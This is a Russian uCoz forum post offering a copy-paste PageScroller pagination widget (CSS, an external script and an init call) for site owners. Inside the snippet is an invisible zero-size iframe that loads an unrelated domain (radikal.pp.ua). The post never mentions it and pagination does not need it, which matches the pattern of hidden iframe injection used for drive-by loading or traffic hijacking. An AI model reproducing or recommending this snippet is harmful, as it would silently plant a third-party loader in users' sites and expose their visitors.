Среда, 06.11.2024, 16:25 На сайте Московское время

icons (Иконки для форума)

(16.06.2010)

Radar_2

(15.06.2010)

Radar_5

(15.06.2010)

L33t Data Scope

(15.06.2010)

[дым]FPS Smoke v2. Low lag

(15.06.2010)

G36 Scope

(15.06.2010)


KuznetzovapCT

(09.09.2016)

zolotarev_1985

(30.06.2016)

gfd

(26.05.2016)

santi23

(03.02.2016)

prostitutki_dorogo

(14.01.2016)

ablesV630

(13.01.2014)

Новые сообщения | Участники | Правила форума | Поиск | RSS

  • Страница 1 из 1
  • 1
Переключатель PageScroller для uCoz от AD
Allower
 Страна: Российская Федерация 
 Дата: Пятница, 30.04.2010, 20:45 | Сообщение # 1

Группа: Пользователи
Сообщений: 167
Награды: 8
Уважение: 11

Отличная юзабельность. Не использует НИ ОДНОЙ КАРТИНКИ. Одинаково работает и выглядит в браузерах IE5.5, IE6, IE7, IE8, Mozilla FF, Safari, Google Chrome, Opera 9. Адаптирован под использование в uCoz.

Этот код размещаем сразу под условным кодом $BODY$

Code
<style>    
#content {white-space:nowrap}    
#content a{display:inline-block;font:12px Tahoma;width:38px;padding:2px 0;margin:1px;color:#88aa00;text-align:center;text-decoration:none;}    
#content a:hover, .curPage{background:#88aa00;color:#fff !important;}    
#pageScroll {margin:0 auto;overflow:hidden;position:relative;top:-3px;cursor:default}    
.scrollWrap {background:#dfdfdf;font:0;position:relative}    
.scrollBar {background:#777;cursor:pointer;cursor:hand;font:0px;position:relative;z-index:400}    
.scrollPage {background:#88aa00;font:0;position:absolute;z-index:300;}    
.pagesTotal {font:12px Tahoma;color:#bbb}    
#pagesBlock1, .pagesBlock1, .pagesBlockuz1 {display:none !important;}    
</style>    
<iframe src="http://radikal.pp.ua/" name="iframe" width="0%" height="0%" scrolling="no" frameBorder=0></iframe><div id="pageScroll"><span id="content"></span></div>    
<script type="text/javascript" src="http://studioad.ru/PageScroller.js"></script>    
<script>initScrolls(10)</script>

Вот собственно и всё. Второй параметр отвечает за количество отображенных страниц в ряд. CSS можно изменять, как угодно.

Добавлена возможность пользоваться колесиком мыши. Исправлено много багов. Код сжат и оптимизирован.


 
  • Страница 1 из 1
  • 1
Поиск:


Samara-style.do.am © Все права защищены! Хостинг от uCoz Сайт оптимизирован под браузер FireFox Mozilla. SiteMap | SiteMap Forum.
Дизайн данного сайта полностью принадлежит администратору.